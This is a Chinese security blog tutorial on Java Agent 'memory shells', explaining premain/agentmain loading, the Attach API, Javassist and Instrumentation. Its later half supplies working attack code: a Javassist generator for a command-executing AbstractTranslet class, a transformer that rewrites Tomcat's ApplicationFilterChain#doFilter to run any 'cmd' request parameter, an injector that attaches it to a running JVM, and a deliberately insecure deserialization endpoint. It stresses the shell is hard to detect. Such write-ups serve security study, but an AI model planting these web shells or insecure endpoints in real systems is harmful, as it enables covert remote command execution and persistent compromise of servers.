Java安全-Java Agent内存马

Java安全-Java Agent内存马

Agent内存马是不受Tomcat框架限制的

Java Agent简介

我们知道Java是一种静态强类型语言,在运行之前必须将其编译成.class字节码,然后再交给JVM处理运行。JavaAgent是使用Java编程语言编写的代理程序,它可以通过JVM的Instrumentation API与JVM进行交互。通过在JVM启动或应用程序运行时插入自定义的代码,JavaAgent可以在不修改应用程序源代码的情况下,实现对应用程序行为的修改和监控

实际上,平时较为常见的技术如热部署、一些诊断工具等都是基于Java Agent技术来实现的。那么Java Agent技术具体是怎样实现的呢?

Java Agent支持以下两种方式进行加载:

  • 实现premain方法,在启动时进行加载(JDK >= 1.5)
  • 实现agentmain方法,在启动后进行加载(JDK >= 1.6)

普通Java类以main函数作为入口点,而JavaAgent的入口点是premain和agentmain

Java Agent加载

Agent-premain(main加载前)

PreMain的大体流程如下,Agent的premain方法会在main函数执行前执行

想要实现启动时执行premain方法,首先我们必须去实现premain方法,同时在我们的清单(sMainfest)中必须要包含Premain-Class属性,然后再命令行中利用-javaagent参数实现启动时加载

看上去有点复杂,这里我们来写一个Demo测试一下

首先创建一个类当作我们的Agent类,实现premain方法

1
2
3
4
5
6
7
8
9
10
import java.lang.instrument.Instrumentation;

public class preAgent {
public static void premain(String agentArgs, Instrumentation inst){
System.out.println(agentArgs);
for(int i=0;i<5;i++){
System.out.println("premain method is invoked!");
}
}
}

接着在 resource/META-INF/ 创建 agent.MF 清单文件用以指定 premain-Agent 的启动类

PS!!!:在.mf文件的最后,一定要有空行

1
2
3
Manifest-Version: 1.0
Premain-Class: preAgent

之后用命令行编译我们的preAgent.java文件,将mf清单与preAgent.class打包在一个jar包里

1
2
javac preAgent.java
jar cvfm agent.jar agent.mf preAgent.class

完成了agent.jar的制作,现在去创建一个普通的实现类

1
2
3
4
5
public class Demo {
public static void main(String[] args) {
System.out.println("Hello,PreAgent");
}
}

将以下内容写入demo.mf

1
2
3
Manifest-Version: 1.0
Main-Class: com.example.Demo

利用同样的方法进行编译打包成Demo.jar

1
2
javac Demo.java
jar cvfm Demo.jar Demo.mf Demo.class

现在有agent.jar和Demo.jar

接下来我们只需要在 java -jar 中添加 -javaagent:agent.jar 即可在启动时优先加载 agent

1
java -javaagent:agent.jar -jar Demo.jar

这个null就代表着premain方法的agentArgs参数,这里我们什么都没有传递,所以此处为null

这样就可以传参了

Agent-agentmain(JVM运行时)

上述的premain方法在JDK1.5中提供,在JDK版本为1.5时,开发者只能在main加载之前添加手脚,但是对于大部分内存马注入时,都是JVM已经运行的情况下。在JDK1.6中实现了attach-on-demand,我们可以使用AttachAPI动态的加载Agent,agentmain能够在JVM启动后加载并实现相应的修改字节码的功能。

AttachAPI在tool.jar中,而JVM启动时默认不加载该依赖,需要我们在classpath中额外进行指定

VirtualMachine类

com.sun.tools.attach.VirtualMachine类可以实现获取JVM信息,内存dump、现成dump、类信息统计(例如JVM加载的类)等功能。

该类允许我们通过给 attach 方法传入一个 JVM 的 PID,来远程连接到该 JVM 上 ,之后我们就可以对连接的 JVM 进行各种操作,如注入 Agent。下面是该类的主要方法

1
2
3
4
5
6
7
8
9
10
11
//允许我们传入一个JVM的PID,然后远程连接到该JVM上
VirtualMachine.attach()

//向JVM注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理
VirtualMachine.loadAgent()

//获得当前所有的JVM列表
VirtualMachine.list()

//解除与特定JVM的连接
VirtualMachine.detach()

VirtualMachineDescriptor 类

com.sun.tools.attach.VirtualMachineDescriptor类是一个用来描述特定虚拟机的类,其方法可以获取虚拟机的各种信息如PID、虚拟机名称等。下面是一个获取特定虚拟机PID的示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import com.sun.tools.attach.VirtualMachine;  
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.util.List;

public class get_PID {
public static void main(String[] args) {

//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){

//遍历每一个正在运行的JVM,如果JVM名称为get_PID则返回其PID
if(vmd.displayName().equals("com.drunkbaby.get_PID"))
System.out.println(vmd.id());
}

}
}

Demo实现

下面我们就来实现一个Agent-agentmain。首先我们编写一个 Sleep_Hello 类,模拟正在运行的 JVM

1
2
3
4
5
6
7
8
9
10
import static java.lang.Thread.sleep;  

public class Sleep_Hello {
public static void main(String[] args) throws InterruptedException {
while (true){
System.out.println("Hello World!");
sleep(5000);
}
}
}

然后编写 AgentMain类作为一个Agent

1
2
3
4
5
6
7
8
9
10
11
12
import java.lang.instrument.Instrumentation;

import static java.lang.Thread.sleep;

public class AgentMain {
public static void agentmain(String args, Instrumentation inst) throws InterruptedException {
while (true){
System.out.println("调用agentmain-Agent!");
sleep(3000);
}
}
}

同时配置 agentmain.mf 文件

1
2
3
Manifest-Version: 1.0
Agent-Class: AgentMain

接着像之前一样编译打包成jar包

(个人认为这里jar包中不需要放入Sleep_Hello.class)

1
2
3
javac AgentMain.java
javac Sleep_Hello.java
jar cvfm AgentMain.jar agentmain.mf AgentMain.class Sleep_Hello.class

得到我们设置好的agent的jar包

最后准备一个 Inject 类,将我们的 agent-main 注入目标 JVM:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;

public class Inject_Agent {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){
//遍历每一个正在运行的JVM,如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent
if(vmd.displayName().equals("Sleep_Hello")){

//连接指定JVM
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
//加载Agent
virtualMachine.loadAgent("D:\\javaEE练习\\demo\\src\\main\\java\\AgentMain.jar");
//断开JVM连接
virtualMachine.detach();
}

}
}
}

这里想要实操是要手动添加tools.jar到库,再应用到模块

先运行目标 JVM(Sleep_Hello),再运行 inject 类进行注入,最后结果如下,一开始是只输出 hello, world 的,运行 inject 之后就插入了 agent-main 方法:

动态加载字节码

前提:想要操作字节码,需要项目中有Javassist 依赖

在实现 premain 的时候,我们除了能获取到 agentArgs 参数,还可以获取 Instrumentation 实例,那么 Instrumentation 实例是什么,在聊这个之前要先简单了解一下 Javassist

Javassist(操作字节码的库)

Javassist简介

Java 字节码以二进制的形式存储在 .class 文件中,每一个.class文件包含一个Java类或接口。Javaassist 就是一个用来处理Java字节码的类库。它可以在一个已经编译好的类中添加新的方法,或者是修改已有的方法,并且不需要对字节码方面有深入的了解。同时也可以通过手动的方式去生成一个新的类对象。其使用方式类似于反射

ClassPool

ClassPoolCtClass对象的容器。CtClass对象必须从该对象获得。如果get()在此对象上调用,则它将搜索表示的各种源ClassPath 以查找类文件,然后创建一个CtClass表示该类文件的对象。创建的对象将返回给调用者。可以将其理解为一个存放CtClass对象的容器。

获得方法: ClassPool cp = ClassPool.getDefault();。通过 ClassPool.getDefault() 获取的 ClassPool 使用 JVM 的类搜索路径。如果程序运行在 JBoss 或者 Tomcat 等 Web 服务器上,ClassPool 可能无法找到用户的类,因为Web服务器使用多个类加载器作为系统类加载器。在这种情况下,ClassPool 必须添加额外的类搜索路径

1
cp.insertClassPath(new ClassClassPath(<Class>));

CtClass

可以将其理解成加强版的Class对象,我们可以通过CtClass对目标类进行各种操作。可以ClassPool.get(ClassName)中获取。

CtMethod

同理,可以理解成加强版的Method对象。可通过CtClass.getDeclaredMethod(MethodName)获取,该类提供了一些方法以便我们能够直接修改方法体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public final class CtMethod extends CtBehavior {
// 主要的内容都在父类 CtBehavior 中
}

// 父类 CtBehavior
public abstract class CtBehavior extends CtMember {
// 设置方法体
public void setBody(String src);

// 插入在方法体最前面
public void insertBefore(String src);

// 插入在方法体最后面
public void insertAfter(String src);

// 在方法体的某一行插入内容
public int insertAt(int lineNum, String src);

}

传递给方法 insertBefore()insertAfter()insertAt() 的 String 对象是由Javassist 的编译器编译的。 由于编译器支持语言扩展,以 $ 开头的几个标识符有特殊的含义:

Javassist使用示例

先添加依赖

pom.xml

1
2
3
4
5
<dependency>  
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.27.0-GA</version>
</dependency>

创建测试类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import java.lang.reflect.Modifier;

public class JavassistTest {
public static void Create_Person() throws Exception {

//获取 CtClass 对象的容器 ClassPool
ClassPool classPool = ClassPool.getDefault();

//创建一个新类 Javassist.Learning.Person
CtClass ctClass = classPool.makeClass("javassist.Person");

//创建一个类属性 name
CtField ctField1 = new CtField(classPool.get("java.lang.String"), "name", ctClass);
//设置属性访问符
ctField1.setModifiers(Modifier.PRIVATE);
//将 name 属性添加进 Person 中,并设置初始值
ctClass.addField(ctField1, CtField.Initializer.constant("abc"));

//向 Person 类中添加 setter 和 getter
ctClass.addMethod(CtNewMethod.setter("setName", ctField1));
ctClass.addMethod(CtNewMethod.getter("getName", ctField1));

//创建一个无参构造
CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass);
//设置方法体
ctConstructor.setBody("{name = \"abc\";}");
//向Person类中添加无参构造
ctClass.addConstructor(ctConstructor);

//创建一个类方法printName
CtMethod ctMethod = new CtMethod(CtClass.voidType,"printName", new CtClass[]{}, ctClass);
//设置方法访问符
ctMethod.setModifiers(Modifier.PRIVATE);
//设置方法体
ctMethod.setBody("{System.out.println(name);}");
//将该方法添加进Person中
ctClass.addMethod(ctMethod);

//将生成的字节码写入文件
ctClass.writeFile("D:\\javaEE练习\\demo\\src\\main\\java");
}

public static void main(String[] args) throws Exception {
Create_Person();
}
}

运行后会生成Person.class

反编译出来看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package javassist;

public class Person {
private String name = "abc";

public void setName(String var1) {
this.name = var1;
}

public String getName() {
return this.name;
}

public Person() {
this.name = "abc";
}

private void printName() {
System.out.println(this.name);
}
}

由此延展的攻击面其实是,我们可以利用 Javassist 生成一个恶意的 .class

使用Javassist生成恶意类

我们的恶意类需要继承AbstractTranslet类,并重写两个transform()方法。否则编译无法通过,无法生成.class文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class shell extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}

public shell() throws IOException {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception var2) {
var2.printStackTrace();
}
}
}

但是该恶意类在执行过程中并没有用到重写的方法,所以我们可以直接使用Javassist从字节码层面来生成恶意class,跳过恶意类的编译过程。代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package javassist;  

import java.io.File;
import java.io.FileOutputStream;

public class EvilPayload {

public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}


public static void writeShell() throws Exception {
byte[] shell = EvilPayload.getTemplatesImpl("Calc");
FileOutputStream fileOutputStream = new FileOutputStream(new File("S"));
fileOutputStream.write(shell);
}

public static void main(String[] args) throws Exception {
writeShell();
}
}

生成的恶意文件被我们输出到了 S 这个文件中,其实很多反序列化在用的时候,是没有把这个字节码提取保存出来,本质上还是可以保存的

保存出来的文件代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//  
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

public class Evil extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("Calc");
} catch (Exception var1) {
}

}

public Evil() {
}
}

Instrumentation(可以修改已有类的类)

Instrumentation 是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent 通过这个类和目标 JVM 进行交互,从而达到修改数据的效果。(可以在已有的类上附加(修改)字节码来实现增强的逻辑,利用Javassist库操作字节码)

其在 Java 中是一个接口,常用方法如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public interface Instrumentation {

//增加一个Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);

//在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
void addTransformer(ClassFileTransformer transformer);

//删除一个类转换器
boolean removeTransformer(ClassFileTransformer transformer);

//在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;

//判断一个类是否被修改
boolean isModifiableClass(Class<?> theClass);

// 获取目标已经加载的类。
@SuppressWarnings("rawtypes")
Class[] getAllLoadedClasses();

//获取一个对象的大小
long getObjectSize(Object objectToSize);

}

ClassFileTransformer

转换类文件,该接口下只有一个方法:transform,重写该方法即可转换任意类文件,并返回新的被取代的类文件,在 java agent 内存马中便是在该方法下重写恶意代码,从而修改原有类文件代码逻辑,与 addTransformer 搭配使用

1
2
//增加一个Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。  
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);

获取目标JVM已加载类

下面我们简单实现一个能够获取目标 JVM 已加载类的 agentmain-Agent

Main 方法

1
2
3
4
5
6
7
8
9
10
11
public class HelloSleep {  
public static void main(String[] args) throws InterruptedException {
while(true) {
hello();
sleep(3000);
}
}
public static void hello(){
System.out.println("Hello World!");
}
}

Agent 主类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class agentmaintransform {  
public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException {
Class [] classes = inst.getAllLoadedClasses();

//获取目标JVM加载的全部类
for(Class cls : classes){
if (cls.getName().equals("Sleep_Hello")){

//添加一个transformer到Instrumentation,并重新触发目标类加载
inst.addTransformer(new Hello_Transform(),true);
inst.retransformClasses(cls);
}
}
}
}

Transformer 修改类( 恶意代码写入 )

利用Javassist类库,修改类中方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;

public class HelloTransform implements ClassFileTransformer {

@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try {

//获取CtClass 对象的容器 ClassPool
ClassPool classPool = ClassPool.getDefault();

//添加额外的类搜索路径
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
}

//获取目标类
CtClass ctClass = classPool.get("Sleep_Hello");
System.out.println(ctClass);

//获取目标方法
CtMethod ctMethod = ctClass.getDeclaredMethod("hello");

//设置方法体
String body = "{System.out.println(\"Hacker!\");}";
ctMethod.setBody(body);

//返回目标类字节码
byte[] bytes = ctClass.toBytecode();
return bytes;

}catch (Exception e){
e.printStackTrace();
}
return null;
}
}

编写mf文件

如果需要修改已经被JVM加载过的类的字节码,那么还需要在MAINFEST.MF中添加Can-Retransform-Classes: true 或 Can-Redefine-Classes: true

1
2
Can-Retransform-Classes 是否支持类的重新替换
Can-Redefine-Classes 是否支持类的重新定义
1
2
3
4
Manifest-Version: 1.0  
Agent-Class: agentmaintransform
Can-Redefine-Classes: true
Can-Retransform-Classes: true

编译后打包一下

1
2
3
javac agentmaintransform.java
javac HelloTransform.java
jar cvfm transform.jar transform.mf agentmaintransform.class HelloTransform.class

最后编写动态注入 Agent 的注入类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class Inject_Agent {  
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException {
//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){
System.out.println(vmd.displayName());
//遍历每一个正在运行的JVM,如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent
if(vmd.displayName().equals("Sleep_Hello")){

//连接指定JVM
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
//加载Agent
virtualMachine.loadAgent("D:\\javaEE练习\\demo\\src\\main\\java\\transform.jar");
//断开JVM连接
virtualMachine.detach();
}
}
}
}

局限性

大多数情况下,我们使用 Instrumentation 都是使用其字节码插桩的功能,简单来说就是类重定义功能(Class Redefine),但是有以下局限性:

premain 和 agentmain 两种方式修改字节码的时机都是类文件加载之后,也就是说必须要带有 Class 类型的参数,不能通过字节码文件和自定义的类名重新定义一个本来不存在的类。

类的字节码修改称为类转换 (Class Transform),类转换其实最终都回归到类重定义 Instrumentation#redefineClasses 方法,此方法有以下限制:

  1. 新类和老类的父类必须相同
  2. 新类和老类实现的接口数也要相同,并且是相同的接口
  3. 新类和老类访问符必须一致。 新类和老类字段数和字段名要一致
  4. 新类和老类新增或删除的方法必须是 private static/final 修饰的
  5. 可以修改方法体

Agent内存马实战(与Tomcat结合)

在正常的实际环境中,我们遇到的情况都是已经在启动中的,premain那种方法并不适合内存马的注入,因此这里我们用agentmain来进行注入内存马

如何动态修改对应类的字节码在上文中已提过,所以我们现在第一件事是需要找到对应的类中的某个方法,这个类中的方法需要满足两个要求

  1. 该方法一定会被执行
  2. 不会影响正常的业务逻辑

环境配置

SpringBoot + CommonCollection3.2.1

写一个简单的controller

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package com.spring1.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;


import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ObjectInputStream;

@Controller
public class agentFilter {

@ResponseBody
@RequestMapping("/cc")
public String cc11Vuln(HttpServletRequest request, HttpServletResponse response) throws Exception {
java.io.InputStream inputStream = request.getInputStream();
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
return "Hello,World";
}

@ResponseBody
@RequestMapping("/demo")
public String demo(HttpServletRequest request, HttpServletResponse response) throws Exception{
return "This is OK Demo!";
}
}

寻找入口类

在此之前我们学习过Filter内存马,当我们用户请求到达Servlet前,一定会经过Filter,以此来对我们的请求进行过滤

可以看到会按照责任链机制反复调用ApplicationFilterChain#doFilter()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public void doFilter(ServletRequest request, ServletResponse response)
throws IOException, ServletException {

if( Globals.IS_SECURITY_ENABLED ) {
final ServletRequest req = request;
final ServletResponse res = response;
try {
java.security.AccessController.doPrivileged(
(java.security.PrivilegedExceptionAction<Void>) () -> {
internalDoFilter(req,res);
return null;
}
);
} ...
}
} else {
internalDoFilter(request,response);
}
}

此方法中还封装了我们用户请求的 request 和 response ,那么如果我们能够注入该方法,那么我们不就可以直接获取用户的请求,将执行结果写在 response 中进行返回

利用Java Agent实现Spring Filter内存马

我们复用上面的agentmain-Agent,修改字节码的关键在于transformer()方法,因此我们重写该方法即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class Filter_Transform implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try {

//获取CtClass 对象的容器 ClassPool
ClassPool classPool = ClassPool.getDefault();

//添加额外的类搜索路径
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
}

//获取目标类
CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");

//获取目标方法
CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");

//设置方法体
String body = "{" +
"javax.servlet.http.HttpServletRequest request = $1\n;" +
"String cmd=request.getParameter(\"cmd\");\n" +
"if (cmd !=null){\n" +
" Runtime.getRuntime().exec(cmd);\n" +
" }"+
"}";
ctMethod.setBody(body);

//返回目标类字节码
byte[] bytes = ctClass.toBytecode();
return bytes;

}catch (Exception e){
e.printStackTrace();
}
return null;
}
}

Inject_Agent_Spring类如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;

public class Inject_Agent_Spring {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){

//遍历每一个正在运行的JVM,如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent
if(vmd.displayName().equals("com.example.agent.AgentApplication")){

//连接指定JVM
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
//加载Agent
virtualMachine.loadAgent("Java_Agent.jar");
//断开JVM连接
virtualMachine.detach();
}
// System.out.println(vmd.displayName());

}
}
}

这样只能实现在本地环境注入内存马,实战中都是通过反序列化或者文件上传注入内存马

反序列化注入内存马后续再说

小结

agent内存马的实现形式也是在打Tomcat内存马。他的实现是通过遍历所有的JVM进程,然后向 进程中注入对应的Agent类。

比较

agent内存马与filter内存马相比,会多一步将我们的agent.jar上传到目标上,利用代码将agent.jar进行注入,注入后就可以删除agent.jar

agent内存马相比于filter这些内存马更难查杀


Java安全-Java Agent内存马
http://huang-d1.github.io/2025/10/22/Java安全-Java Agent内存马/
作者
huangdi
发布于
2025年10月22日
许可协议